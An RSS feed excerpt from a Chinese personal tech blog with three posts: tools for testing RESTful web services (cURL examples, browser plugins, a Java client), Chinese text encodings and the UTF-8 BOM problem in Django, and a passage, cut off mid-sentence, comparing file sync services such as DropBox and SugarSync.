不了解精深的理论没关系，我们只要会使用就行了。 命令行控的最爱：cURL cURL是一个很强大的支持各种协议的文件传输工具，用它来进行RESTful Web Services的测试简直是小菜一碟。这个工具基本上类Unix操作系统（各种Linux、Mac OS X）都自带了，而Windows用户就得去额外下载了。 cURL的命令参数非常多，一般用于RESTful Web Services测试要用到下面四种参数： -d/--data &#60;data&#62;：POST数据内容 -X/--request &#60;command&#62;：指定请求的方法（使用-d时就自动设为POST了） -H/--header &#60;line&#62;：设定header信息 -I/--head：只显示返回的HTTP头信息 一个最简单的例子，资源的获取，不需要强行指定GET方法，直接在curl后面跟上URL即可： 再看删除远程的一条记录，并返回HTTP头检查操作是否成功： 需要指出的是，如果使用-d或者其他某些参数就不能直接看到返回的HTTP头了，即不能将-d和-I同时使用。解决的办法是采用-D/--dump-header参数并指定一个文件名，将header的数据保存下来查看。 浏览器控的最爱：各种插件 既然普通的浏览器不支持除了GET和POST以外的操作，查看和发送HTTP header都很苦难，那就让插件来扩展它的功能吧！让人们不离开浏览器就能进行各种测试，也是一种非常方便的选择。如果你喜欢下面介绍的插件，不妨到相应的页面上给它们评星以支持作者的劳动。 Chrome下有一个Simple REST Client插件，提供了一个简单的表单进行各种HTTP操作，并可以看到返回的信息。 ...

<h3>没有相关日志</h3>]]></description>
			<content:encoded><![CDATA[<div><img width="495" height="565" src="http://dayanjia.com/wp-content/uploads/2010/08/restful-web-services-e1281628481131.jpg" class="attachment-large wp-post-image" alt="restful-web-services" title="restful-web-services" /></div><p>如今网站搞个开放API，弄个RESTful Web Services似乎早不是新鲜事了。尤其在Twitter、Facebook、Google等先行者的推动下，获取其他网站的资源并进行<a title="Mashup (web application hybrid)" href="http://en.wikipedia.org/wiki/Mashup_(web_application_hybrid)" target="_blank">Mashup</a>变得越来越普遍。如今在SNS大行其道的日子里，你不搞个“推荐该内容到人人网/开心网/新浪微博”这样的链接，你都不好意思出去见人说“我是做网站的”。</p>
<p>就连我院的线上教学支持系统都打算分离出核心数据（即学生和课程的信息），通过REST风格的Web服务来提供这些中心数据，支持其他功能（例如课程论坛、作业发布和提交等）的实现。这样做的好处自然是分离的数据可以再提供给今后更多的服务使用，比起传统的全部使用本地数据库的方法减少了冗余和错误的产生。而其缺点在于加大了开发难度，以前可以很轻松的诸如数据表中外键的功能全部得从第三方资源实现，一定程度上降低了网站的运行效率。同时，进行REST的开发和测试也变得不那么直接了。虽然各种语言都有HTTP请求相关的类库，但是本着<a title="Reinventing the wheel" href="http://en.wikipedia.org/wiki/Reinventing_the_wheel" target="_blank">不重复发明轮子</a>的精神，本文介绍了几种方便的测试RESTful Web Services的工具。</p>
<p><span id="more-769"></span></p>
<h2>REST简单介绍</h2>
<p>所谓REST，是Representational State Transfer，这个词汇的中文翻译很不统一，而且很晦涩，有叫“具象状态传输”，有叫“表象化状态转变”，等等。通俗地讲，REST风格的Web服务，是通过一个简洁清晰的URI来提供资源链接，客户端通过对URI发送HTTP请求获得这些资源，而获取和处理资源的过程让客户端应用的状态发生改变（不像那些远程过程调用那么直接地发生改变）。一般常用的对资源进行CRUD（Create, Read, Update 和 Delete）的四种HTTP方法分别是POST, GET, PUT, DELETE。一般的Web浏览器基本只会用到GET和POST两种方法，但是根据<a title="Hypertext Transfer Protocol -- HTTP/1.1" href="http://www.ietf.org/rfc/rfc2616.txt" target="_blank">RFC 2616</a>，HTTP请求方法除了前面提到的四种还有OPTIONS, HEAD, TRACE, CONNECT，一共8种。</p>
<p>REST源于Roy Fielding在2000年的<a title="Architectural Styles and the Design of Network-based Software Architectures" href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm" target="_blank">博士论文</a>，而关于RESTful Web服务最著名的书便是本文题图的《<a title="Google 图书上的该书链接" href="http://books.google.com/books?id=XUaErakHsoAC&amp;dq=RESTful+Web+Services&amp;hl=zh-CN" target="_blank">RESTful Web Services</a>》。顺便提一句，我只是说说而已，这两个东西我都没看过，估计看了也看不懂。</p>
<h2>RESTful Web Services测试工具推荐</h2>
<p>不了解精深的理论没关系，我们只要会使用就行了。</p>
<h3>命令行控的最爱：cURL</h3>
<p>cURL是一个很强大的支持各种协议的文件传输工具，用它来进行RESTful Web Services的测试简直是小菜一碟。这个工具基本上类Unix操作系统（各种Linux、Mac OS X）都自带了，而Windows用户就得去额外<a href="http://curl.haxx.se/download.html" target="_blank">下载</a>了。</p>
<p>cURL的命令参数非常多，一般用于RESTful Web Services测试要用到下面四种参数：</p>
<ul>
<li>-d/--data &lt;data&gt;：POST数据内容</li>
<li>-X/--request &lt;command&gt;：指定请求的方法（使用-d时就自动设为POST了）</li>
<li>-H/--header &lt;line&gt;：设定header信息</li>
<li>-I/--head：只显示返回的HTTP头信息</li>
</ul>
<p>一个最简单的例子，资源的获取，不需要强行指定GET方法，直接在curl后面跟上URL即可：</p>
<pre class="brush: plain; light: true; title: ; notranslate">
Clippit@Clippit-PC ~
$ curl http://dayanjia.com/api/user/101250001/
{&quot;id&quot;:&quot;student1&quot;,&quot;name&quot;:&quot;\u5b66\u751f\u4e00&quot;,&quot;num&quot;:&quot;101250001&quot;,
&quot;grade&quot;:&quot;20101&quot;,&quot;courses&quot;:[{&quot;id&quot;:1,&quot;name&quot;:&quot;\u8bfe\u7a0b\u4e00&quot;,
&quot;active&quot;:false,&quot;identity&quot;:0,&quot;instructors&quot;:[{&quot;id&quot;:&quot;teacher1&quot;,&quot;na
me&quot;:&quot;\u8001\u5e08\u4e00&quot;}]},{&quot;id&quot;:2,&quot;name&quot;:&quot;\u8bfe\u7a0b\u4e8c&quot;
,&quot;active&quot;:true,&quot;identity&quot;:0,&quot;instructors&quot;:[{&quot;id&quot;:&quot;teacher2&quot;,&quot;na
me&quot;:&quot;\u8001\u5e08\u4e8c&quot;}]},{&quot;id&quot;:3,&quot;name&quot;:&quot;\u8bfe\u7a0b\u4e09&quot;
,&quot;active&quot;:true,&quot;identity&quot;:0,&quot;instructors&quot;:[{&quot;id&quot;:&quot;teacher3&quot;,&quot;na
me&quot;:&quot;\u8001\u5e08\u4e09&quot;}]}]}
</pre>
<p>再看删除远程的一条记录，并返回HTTP头检查操作是否成功：</p>
<pre class="brush: plain; light: true; title: ; notranslate">
Clippit@Clippit-PC ~
$ curl -I -X DELETE http://dayanjia.com/api/course/1/
HTTP/1.1 200 OK
Date: Thu, 12 Aug 2010 16:50:46 GMT
Server: LiteSpeed
Connection: close
X-Powered-By: PHP/5.2.14
Content-Type: text/html
Content-Length: 0
</pre>
<p>需要指出的是，如果使用-d或者其他某些参数就不能直接看到返回的HTTP头了，即不能将-d和-I同时使用。解决的办法是采用<code>-D/--dump-header</code>参数并指定一个文件名，将header的数据保存下来查看。</p>
<h3>浏览器控的最爱：各种插件</h3>
<p>既然普通的浏览器不支持除了GET和POST以外的操作，查看和发送HTTP header都很苦难，那就让插件来扩展它的功能吧！让人们不离开浏览器就能进行各种测试，也是一种非常方便的选择。如果你喜欢下面介绍的插件，不妨到相应的页面上给它们评星以支持作者的劳动。</p>
<p>Chrome下有一个<a title="点击去下载页" href="https://chrome.google.com/extensions/detail/fhjcajmcbmldlhcimfajhfbgofnpcjmb">Simple REST Client</a>插件，提供了一个简单的表单进行各种HTTP操作，并可以看到返回的信息。</p>
<p><a rel="attachment wp-att-781" href="http://dayanjia.com/2010/08/3-ways-to-test-restful-web-services.html/simple-rest-client"><img class="alignnone size-large wp-image-781" title="Simple REST Client" src="http://dayanjia.com/wp-content/uploads/2010/08/Simple-REST-Client-560x491.png" alt="" width="560" height="491" /></a></p>
<p>Chrome下的插件显得有些寒碜，那么同样深受开发者喜爱的Firefox也有一款名为<a title="点击进入下载页" href="https://addons.mozilla.org/zh-CN/firefox/addon/9780/" target="_blank">RESTClient</a>的插件，这款插件由国人开发，功能上支持Basic和OAuth的登录header发送，并且对于返回的XML数据还可以高亮显示。</p>
<p><a rel="attachment wp-att-782" href="http://dayanjia.com/2010/08/3-ways-to-test-restful-web-services.html/restclient"><img class="alignnone size-large wp-image-782" title="RESTClient" src="http://dayanjia.com/wp-content/uploads/2010/08/RESTClient-560x420.png" alt="" width="560" height="420" /></a></p>
<h3>咖啡控的最爱：RESTClient</h3>
<p>这里的咖啡是什么，你懂的。名字同样很朴素，这是一个用Java写的测试小工具，<a title="Java application to test RESTful webservices." href="http://code.google.com/p/rest-client/" target="_blank">项目主页</a>上提到它有命令行和GUI两种版本。为了方便操作我们选择GUI版本来看看。既然是一款软件，显然就比刚才介绍的浏览器插件功能更加强大。它支持应答正文的JSON和XML缩排和高亮，还可以一键搭建一个RESTful服务端，另外还提供了单元测试的功能。<strong>介绍的三种工具中，我最喜欢的还是这款了，尤其是它的缩排高亮功能非常实用，方便查看。</strong></p>
<p><a rel="attachment wp-att-783" href="http://dayanjia.com/2010/08/3-ways-to-test-restful-web-services.html/restclient-java"><img class="alignnone size-large wp-image-783" title="RESTClient Java" src="http://dayanjia.com/wp-content/uploads/2010/08/RESTClient-Java-491x600.png" alt="" width="491" height="600" /></a></p>


<h3>没有相关日志</h3>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2010/08/3-ways-to-test-restful-web-services.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>中文编码什么的，最讨厌了……</title>
		<link>http://dayanjia.com/2010/07/trouble-about-chinese-character-encode.html</link>
		<comments>http://dayanjia.com/2010/07/trouble-about-chinese-character-encode.html#comments</comments>
		<pubDate>Thu, 29 Jul 2010 10:43:25 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Django]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[故障处理]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=732</guid>
		<description><![CDATA[<div><img width="522" height="368" src="http://dayanjia.com/wp-content/uploads/2010/07/clippit-vs-Unrecognizable-Code.jpg" class="attachment-large wp-post-image" alt="大眼夹大战乱码！" title="clippit vs Unrecognizable Code" /></div>最近貌似很流行这句卖娇的话，好吧，就用它来作为这篇文章的标题好了。首先在这里向各位亲爱的读者说声抱歉，一个月来忙忙碌碌，所以没有时间更新博客，今天总算心血来潮写一篇了。最近刚刚接触了Python，发觉它真是一个挺有意思的语言。首先抛弃了花括号的束缚，世界也并不是特别糟糕；强大的切片功能又让人们抛弃了一堆烦人的取子集的函数；Python Shell又让人感觉它不是一种编程语言而可以简单地当作系统的批处理脚本来使用；但是完整的面向对象特性和丰富的标准库扩展库又赋予了Python超强的功能和广泛的用途。怪不得Google App Engine刚推出的时候就仅支持使用Python（现在也支持Java了）。由于我们要使用Python做Web开发，所以还得搞一个Web开发框架，比如Django。胡扯了这么多貌似和本文的主题没有什么关联，其实中文乱码的问题就得从这其中说起。 本文将简要介绍计算机中的中文编码和Django中的中文编码问题。 中文编码的曲折发展 早期发展 计算机是美国人发明的，1960年ASCII（美国信息互换标准代码）的出台，让英语的编码得到了统一。相信大家都明白ASCII就是把英文字母、数字、符号等字符和8 Bit的二进制序列映射起来（实际上只用到了7 Bit）。如此一来不同的计算机之间根据这个通行的标准便可以进行信息交换了。事实上ASCII编码连完整的西欧语言字母都不能显示完整，128个位置更是远远不能满足中文的需要。 中国在计算机领域的起步较晚，1981年中国大陆官方公布了GB2312编码，规范了使用简体字地区的汉字编码。说白了这也是一种映射关系，GB2312是ASCII的超集，单它使用双字节的编码长度，一共收录了6763个汉字和希腊字母、日文假名等其他字符。例如汉字“啊”的编码就是0xB0A1。别看这是4个16进制字符，实际上其第一个字节的范围是0xA1-0xF7，第二个字节的范围是0xA1-0xFE。 同时在使用繁体字的地区，也有通行的汉字编码（Big5），世界各种语言在数字化存储和交换信息的时候都会使用一套编码，于是这世界上就出现了N多种字符编码，甚至一种语言还有几种编码方式（多是字节存储顺序不同或者是之前编码的扩充）。于是相同的二进制序列在不同的编码方式下对应的字符就不一样了，所以就出现了各种乱码的问题。选错了编码就如同选错了函数，相同的输入会产生截然不同的输出结果。 Unicode 随着IT业全球化的发展，各种字符编码的困惑更加严重，这时候，一种声音响彻全球：“让我们统一起来吧”！于是乎，Unicode“粉墨登场”了。Unicode致力于让所有的字符在一个编码下就能显示出来，制定标准的非营利机构The Unicode Consortium一直在努力工作，目前Unicode的最新版本是5.2。 既然Unicode要表示所有字符，那么编码长度就要足够长。目前实际应用的Unicode编码长度是16位，即两个字节，这样可以理论上表示出216=65536个字符。这虽然已经很多了，但是对于“所有字符”仍是不够的，所以最新的编码标准是32位的，32位中首位始终位0，因此可以表示出231中字符。 Unicode的推出自然是方便了各国之间的交流，尤其是东亚地区的中日韩交流。但是使用英语的国家就不高兴了，我们原本使用ASCII，一个字符只需要一个字节，现在需要两个字节了，未来甚至需要四个字节，这不是巨大的浪费吗？！（或许他们可以写一本书叫《美国不高兴》）事实上，根据Unicode编码，人们又搞出了许多实现方式，称作Unicode Translation Format，其缩写便是我们熟知的UTF。目前用的最广泛的是UTF-8，它的编码字节长度是可变的，具体为：对于ASCII中的字符，采用1个字节，而其他带符号的拉丁文字使用2个字节，大部分常用的中日韩字符采用3个字节，而其他非常不常用的使用4字节。 为了更好的国际化支持，我个人非常推崇放弃使用GB2312（GBK）等单一语种的编码，全面转向Unicode。事实上如今的操作系统和软件都能很好地支持UTF-8。但是UTF-8真的能高枕无忧吗？答案显然是否（要不然我文章还怎么写得下去啊？） Python中的Unicode 最新稳定版的Python对Unicode的支持是非常好的，而Django内部也是完全Unicode化的。而今天我却遇到了一个奇怪的问题。根据Django的MVC结构，我们建立一个站点，然后创建一个view.py文件作为视图部分： 可以看到我们这里用到了中文字符。在urls.py中设定好路由： 启动服务器后，访问http://127.0.0.1:8000/time/，却得到了错误。 Non-ASCII character '\xe6' in file /home/Clippit/mysite/../mysite/views.py on line 9, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details (views.py, line 9) 它说有一个非ASCII字符出现，检查view.py文件，确是为UTF-8编码，而改成GBK后依然有问题（这个是显然的……）。异常提示中给出了一个PEP 0263的链接，作为一个初学者，跑过去看PEP这样高深的内容显然有点心虚。 爬了半天英文后，解决方案很简单，有两种。其一是在py文件的第一行加上一行特殊格式的注释，显式声明文件的编码方式： 其二是采用保存成带有BOM的UTF-8文件。 万恶的BOM 再次回到理论知识普及部分，这个BOM是什么东西呢？事实上我曾经已经被它搞过好几次了。BOM是Byte Order Marker的简称，根据它的名字可以推测出它是用来表示字节顺序的记号。事实上这个BOM是随着UTF-16的诞生而产生的。UTF-16也是一种Unicode的表示方式，相比于UFT-8它更加接近原始Unicode编码规则（ISO 10646规定的通用字符集UCS-2）。如果编码小于0x10000，UTF-16采用2字节表示，这便是UCS-2中的65535个字符；对于U+10000 到 ...

<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/03/who-stole-my-bandwidth.html' rel='bookmark' title='Permanent Link: 谁偷走了我的流量？'>谁偷走了我的流量？</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div><img width="522" height="368" src="http://dayanjia.com/wp-content/uploads/2010/07/clippit-vs-Unrecognizable-Code.jpg" class="attachment-large wp-post-image" alt="大眼夹大战乱码！" title="clippit vs Unrecognizable Code" /></div><p>最近貌似很流行这句卖娇的话，好吧，就用它来作为这篇文章的标题好了。首先在这里向各位亲爱的读者说声抱歉，一个月来忙忙碌碌，所以没有时间更新博客，今天总算心血来潮写一篇了。最近刚刚接触了Python，发觉它真是一个挺有意思的语言。首先抛弃了花括号的束缚，世界也并不是特别糟糕；强大的切片功能又让人们抛弃了一堆烦人的取子集的函数；Python Shell又让人感觉它不是一种编程语言而可以简单地当作系统的批处理脚本来使用；但是完整的面向对象特性和丰富的标准库扩展库又赋予了Python超强的功能和广泛的用途。怪不得Google App Engine刚推出的时候就仅支持使用Python（现在也支持Java了）。由于我们要使用Python做Web开发，所以还得搞一个Web开发框架，比如Django。胡扯了这么多貌似和本文的主题没有什么关联，其实中文乱码的问题就得从这其中说起。</p>
<p><strong>本文将简要介绍计算机中的中文编码和Django中的中文编码问题。</strong></p>
<p><strong><span id="more-732"></span></strong></p>
<h2>中文编码的曲折发展</h2>
<h3>早期发展</h3>
<p>计算机是美国人发明的，1960年ASCII（美国信息互换标准代码）的出台，让英语的编码得到了统一。相信大家都明白ASCII就是把英文字母、数字、符号等字符和8 Bit的二进制序列映射起来（实际上只用到了7 Bit）。如此一来不同的计算机之间根据这个通行的标准便可以进行信息交换了。事实上ASCII编码连完整的西欧语言字母都不能显示完整，128个位置更是远远不能满足中文的需要。</p>
<p>中国在计算机领域的起步较晚，1981年中国大陆官方公布了GB2312编码，规范了使用简体字地区的汉字编码。说白了这也是一种映射关系，GB2312是ASCII的超集，单它使用双字节的编码长度，一共收录了6763个汉字和希腊字母、日文假名等其他字符。例如汉字“啊”的编码就是0xB0A1。别看这是4个16进制字符，实际上其第一个字节的范围是0xA1-0xF7，第二个字节的范围是0xA1-0xFE。</p>
<p>同时在使用繁体字的地区，也有通行的汉字编码（Big5），世界各种语言在数字化存储和交换信息的时候都会使用一套编码，于是这世界上就出现了N多种字符编码，甚至一种语言还有几种编码方式（多是字节存储顺序不同或者是之前编码的扩充）。于是相同的二进制序列在不同的编码方式下对应的字符就不一样了，所以就出现了各种乱码的问题。<strong>选错了编码就如同选错了函数，相同的输入会产生截然不同的输出结果。</strong></p>
<h3>Unicode</h3>
<p><a href="http://upload.wikimedia.org/wikipedia/zh/0/06/Unicode_logo.gif"><img class="alignleft" title="Unicode" src="http://upload.wikimedia.org/wikipedia/zh/0/06/Unicode_logo.gif" alt="" width="109" height="109" /></a>随着IT业全球化的发展，各种字符编码的困惑更加严重，这时候，一种声音响彻全球：“让我们统一起来吧”！于是乎，Unicode“粉墨登场”了。Unicode致力于让所有的字符在一个编码下就能显示出来，制定标准的非营利机构The Unicode Consortium一直在努力工作，目前Unicode的最新版本是5.2。</p>
<p>既然Unicode要表示所有字符，那么编码长度就要足够长。目前实际应用的Unicode编码长度是16位，即两个字节，这样可以理论上表示出2<sup>16</sup>=65536个字符。这虽然已经很多了，但是对于“所有字符”仍是不够的，所以最新的编码标准是32位的，32位中首位始终位0，因此可以表示出2<sup>31</sup>中字符。</p>
<p>Unicode的推出自然是方便了各国之间的交流，尤其是东亚地区的中日韩交流。但是使用英语的国家就不高兴了，我们原本使用ASCII，一个字符只需要一个字节，现在需要两个字节了，未来甚至需要四个字节，这不是巨大的浪费吗？！（或许他们可以写一本书叫《美国不高兴》）事实上，根据Unicode编码，人们又搞出了许多实现方式，称作Unicode Translation Format，其缩写便是我们熟知的UTF。目前用的最广泛的是UTF-8，它的编码字节长度是可变的，具体为：对于ASCII中的字符，采用1个字节，而其他带符号的拉丁文字使用2个字节，大部分常用的中日韩字符采用3个字节，而其他非常不常用的使用4字节。</p>
<p><strong>为了更好的国际化支持，我个人非常推崇放弃使用GB2312（GBK）等单一语种的编码，全面转向Unicode。</strong>事实上如今的操作系统和软件都能很好地支持UTF-8。<strong>但是UTF-8真的能高枕无忧吗？答案显然是否</strong>（要不然我文章还怎么写得下去啊？）</p>
<h2>Python中的Unicode</h2>
<p>最新稳定版的Python对Unicode的支持是非常好的，而Django内部也是完全Unicode化的。而今天我却遇到了一个奇怪的问题。根据Django的MVC结构，我们建立一个站点，然后创建一个view.py文件作为视图部分：</p>
<pre class="brush: python; title: ; notranslate">
from django.http import HttpResponse
import datetime

def current_datetime(request):
    now = datetime.datetime.now()
    html = &quot;服务器当前时间 %s.&quot; % now
    return HttpResponse(html)
</pre>
<p>可以看到我们这里用到了中文字符。在urls.py中设定好路由：</p>
<pre class="brush: python; title: ; notranslate">
from django.conf.urls.defaults import *

urlpatterns = patterns('mysite.views',
    ('^time/$', 'current_datetime'),
)
</pre>
<p>启动服务器后，访问http://127.0.0.1:8000/time/，却得到了错误。</p>
<blockquote><p>Non-ASCII character '\xe6' in file /home/Clippit/mysite/../mysite/views.py on line 9, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details (views.py, line 9)</p></blockquote>
<p><a rel="attachment wp-att-738" href="http://dayanjia.com/2010/07/trouble-about-chinese-character-encode.html/django-error"><img class="alignright size-medium wp-image-738" title="django error" src="http://dayanjia.com/wp-content/uploads/2010/07/django-error-300x255.png" alt="" width="300" height="255" /></a>它说有一个非ASCII字符出现，检查view.py文件，确是为UTF-8编码，而改成GBK后依然有问题（这个是显然的……）。异常提示中给出了一个<a href="http://www.python.org/dev/peps/pep-0263/">PEP 0263</a>的链接，作为一个初学者，跑过去看PEP这样高深的内容显然有点心虚。</p>
<p>爬了半天英文后，解决方案很简单，有两种。其一是在py文件的第一行加上一行特殊格式的注释，显式声明文件的编码方式：</p>
<pre class="brush: python; light: true; title: ; notranslate"># -*- coding: utf-8 -*- </pre>
<p>其二是采用保存成带有BOM的UTF-8文件。</p>
<h2>万恶的BOM</h2>
<p>再次回到理论知识普及部分，这个BOM是什么东西呢？事实上我曾经已经被它搞过好几次了。BOM是Byte Order Marker的简称，根据它的名字可以推测出它是用来表示字节顺序的记号。事实上这个BOM是随着UTF-16的诞生而产生的。UTF-16也是一种Unicode的表示方式，相比于UFT-8它更加接近原始Unicode编码规则（ISO 10646规定的通用字符集UCS-2）。如果编码小于0x10000，UTF-16采用2字节表示，这便是UCS-2中的65535个字符；对于U+10000 到 U+10FFFF中的字符，则使用4个字节。UTF-16因此也不兼容于ASCII。</p>
<p>但是，和Unicode初衷相悖的现象出现了，在不同的操作系统上，读取UTF-16编码的字节顺序是不一样的，因此便出现了UTF-16BE和UTF-16LE两种分支。例如汉字“水”，UTF-16编码为0x6C34，它使用两个字节存储。在UTF-16BE中，这两个字节的存储顺序是6C, 34，而UTF-16LE却是34, 6C。这就如同编译器解析函数时参数入栈的顺序一样，可以从第一个到最后一个也可以从最后一个到第一个。<strong>Windows和Linux采用的是UTF-16LE，而Mac OS X却采用UTF-16BE。可以想象，读取字节的顺序不同，解析出来的字符自然完全不一样。</strong></p>
<p>为了解决这个问题，我们就需要在文本文件的最开头放置一个BOM，用来说明这个文件是采用的UTF-16LE还是UTF-16BE。对应UTF-16LE，这个字符是FF FE，对应UTF-16BE，这个字符是FE FF。这样解析的时候就可以确定它到底是哪一种UTF-16的编码了。</p>
<div id="attachment_752" class="wp-caption alignright" style="width: 310px"><a rel="attachment wp-att-752" href="http://dayanjia.com/2010/07/trouble-about-chinese-character-encode.html/notepad-unicode"><img class="size-medium wp-image-752" title="notepad unicode" src="http://dayanjia.com/wp-content/uploads/2010/07/notepad-unicode-300x98.png" alt="" width="300" height="98" /></a><p class="wp-caption-text">Windows 7的记事本中，可以选择四种编码方式保存文件</p></div>
<p>说了这么多UTF-16的，和UTF-8有什么关系呢？<strong>这就要怪无聊的微软了，微软的Windows操作系统中，会给采用UTF-8保存的文件也加上一个BOM，内容是是三字节的EF BB BF。事实上，在UTF-8文件中并不需要BOM。微软这么做主要是为了兼容它之前不支持UTF-8的操作系统（Windows 98之流）。微软的一意孤行给计算机标准造成了许多影响，其他操作系统必须要能准确读取这些奇怪的带有BOM的UTF-8编码的文件，否则就会在文本开头显示出一个奇怪的字符。</strong>Windows自从2000开始便一直采用UTF-16LE作为系统内部处理数据的编码。Windows 7的记事本提供了四种编码方式，如右图，从上到下依次为操作系统语言默认编码（ANSI，简体中文系统中就是GBK）、UTF-16LE、UTF-16BE、UTF-8。</p>
<h3>带BOM的UTF-8文本文件是程序代码的隐藏杀手</h3>
<div id="attachment_746" class="wp-caption alignleft" style="width: 310px"><a rel="attachment wp-att-746" href="http://dayanjia.com/2010/07/trouble-about-chinese-character-encode.html/bom-utf-8"><img class="size-medium wp-image-746" title="BOM UTF-8" src="http://dayanjia.com/wp-content/uploads/2010/07/BOM-UTF-8-300x184.png" alt="" width="300" height="184" /></a><p class="wp-caption-text">可以看到文本最开头的一个特殊字符</p></div>
<p>我以前的PHP经验告诉我，不要创建带有BOM的UTF-8文件。PHP中有些函数，例如<code>header()</code>, <code>setcookie()</code>要求在HTTP头没有发送给客户端之前执行。如果UTF-8文件带有BOM，这个BOM就会被最先发给浏览器，从而header就发出去了，这时候再遇到上面的函数便会发生Fatal Error。而在各种类Unix操作系统中这些BOM会影响许多和编程、脚本有关程序的运行，如gcc会报告源码档开头有无法识别的字符。<strong>这个问题往往很难察觉到，可谓是程序代码的隐藏杀手。</strong></p>
<h2>回到Python：结语</h2>
<p><a rel="attachment wp-att-749" href="http://dayanjia.com/2010/07/trouble-about-chinese-character-encode.html/django-right"><img class="alignright size-medium wp-image-749" title="django right" src="http://dayanjia.com/wp-content/uploads/2010/07/django-right-300x138.png" alt="" width="300" height="138" /></a>PEP 0263中提到的BOM的解决办法也仅仅推荐给Windows系统。通过添加特殊注释的方法，我们便可以在浏览器中获取正确结果了。<strong>事实上，更好的方案是尽量不要在源代码里出现Unicode字符，可以将其放在模板和数据库中。</strong>一般情况下在稍微大一点的项目中，也没有什么人在view.py里面直接硬编码吧？</p>
<p><em>题图素材来源：</em><a href="http://hults2.deviantart.com/art/Darth-Clippy-49625587"><em>http://hults2.deviantart.com/art/Darth-Clippy-49625587</em></a></p>
<p>woshao_003dfc249bac11df9e5e000c295b2b8d</p>


<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/03/who-stole-my-bandwidth.html' rel='bookmark' title='Permanent Link: 谁偷走了我的流量？'>谁偷走了我的流量？</a></li>
</ol>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2010/07/trouble-about-chinese-character-encode.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>从文件同步服务说开去</title>
		<link>http://dayanjia.com/2010/06/a-rambling-talk-about-file-sync-and-cloud-storage.html</link>
		<comments>http://dayanjia.com/2010/06/a-rambling-talk-about-file-sync-and-cloud-storage.html#comments</comments>
		<pubDate>Fri, 25 Jun 2010 14:42:57 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[评论天下]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=704</guid>
		<description><![CDATA[<div><img width="537" height="280" src="http://dayanjia.com/wp-content/uploads/2010/06/tour_sugarsync.png" class="attachment-large wp-post-image" alt="tour_sugarsync" title="tour_sugarsync" /></div>如果你在不同的电脑上进行工作，需要随时同步一些重要文件，你会怎么办？如果你面对一台陌生的电脑，想用自己最熟悉的一套方法和工具处理事务，你该怎么办？如果你的电脑上有一些好东西想和亲朋好友分享，你又会怎么办？ 或许最传统的方法是使用U盘来传递这些文件，以便随时使用。但是人难免有犯糊涂忘了U盘的时候，再说拿个U盘到处乱插也不是一件好事。于是我们自然而然想到了网络这个无所不在的载体。一般的工作文档往往文件不大，使用网络传输和U盘所花费的时间相差无几。于是所谓的“网络U盘”的概念自从Internet宽带普及以来就一直延续到现在，不过随着云计算的发展，“网络U盘”也正经历着翻天覆地的变化。 早期传统网盘 早期传统网盘大多提供了两种存储空间，一种容量很小，但是可以永久保存自己的私人文件，另一种容量较大，可以和他人分享文件，但是会定期删除。事实上，前面一种服务已经几乎没有人使用了。如今这种网页上的“网盘”服务大多数成为了各类资源的集散地。人们利用这些平台来发布资源，让这些网站承担下载带来的巨大流量。同时，难以生存的网盘网站不停地在网页上堆砌广告，推出付费获取所谓“更快速度”的下载服务（基本上国外的都有），甚至必须采取专用的软件才能下载文件（国内服务用的较多）。同时，人们通过这些服务分享盗版资源也让提供商头疼，国外老牌的Rapidshare便因盗版压力不得不取消了上传积分制度。 虽然它们叫做“网络U盘”，但是和现实中的U盘差距实在是太明显了——没有人用它来同步自己的文件。造成这种现象的一大原因便是基于B/S的网盘需要手动进行同步操作，过于繁琐。 和系统集成才是王道 “网络U盘”和文件同步的需求渐行渐远，专为用户同步文件设计的各类软件层出不穷，像SugarSync和Windows Live Sync都是比较著名的产品。用户通过在多台电脑上安装这些软件，便可以获得同步文件的功能。而SugarSync还将文件存储在它们的服务器上，以便没有安装软件时也可以访问到自己的文件。指定了需要同步的文件夹后，通过的过程完全是无需干预的，文件不知不觉就上传到了服务器上。 随着移动互联网的普及，越来越多的软件开始支持移动平台，用户可以在iPhone、BlackBerry、Android等移动终端上随时访问自己的文件。从这一点来看，文件同步早已超越了所谓“网络U盘”的范畴，成为了一项随时随地的便捷服务。用户可能一开始会感到疑惑：“我真的需要它吗？”但是当人们真正开始使用后，他们会觉得：“这真是太棒了，我离不开它！” 云存储时代来临 2008年，两个MIT的毕业生折腾出了一款新的文件同步服务，他们给它取了一个形象的名字，叫做DropBox。用户把他们的东西丢到这个Box里面，可以在其他地方轻松地找到它。DropBox使用了Amazon的S3云存储服务，并吸收了软件工程中版本控制和增量备份的理念。把文件的存储过程交给云计算，使得DropBox无需考虑各种涉及到文件存取的复杂技术问题，专心把重点放在服务质量上。DropBox依靠着口碑营销获取了非常大的关注，如今已经是文件同步服务中的佼佼者，用户超过400万。 你都同步些什么？安全性呢？ DropBox和系统高度集成，你几乎无需去理会它的存在，只需要知道“有一个神奇的文件夹”就可以了。你可以将完成了一半的工作文件放进去，你可以将一些自己用的顺手的绿色小软件放进去，你甚至还可以把电脑游戏存档同步进去以便在不同的电脑上持续地进行冒险……总之，一切你想要放在云里的东西你都可以放进去。 云计算有一个很棘手的问题便是安全性。诚然用户会担心自己的东西会不会被别人看到，会不会莫名其妙地丢失。对于有这类特殊敏感需求的人，他们大可以放弃这些公开的云存储服务。我们可以搭建一台SVN服务器，使用SVN来同步自己的文件。事实上，你会发现DropBox有很多地方借鉴了SVN，和Windows下的TortoiseSVN软件。 SugarSync vs. DropBox 上文中多处提到了两款软件，便是SugarSync 和 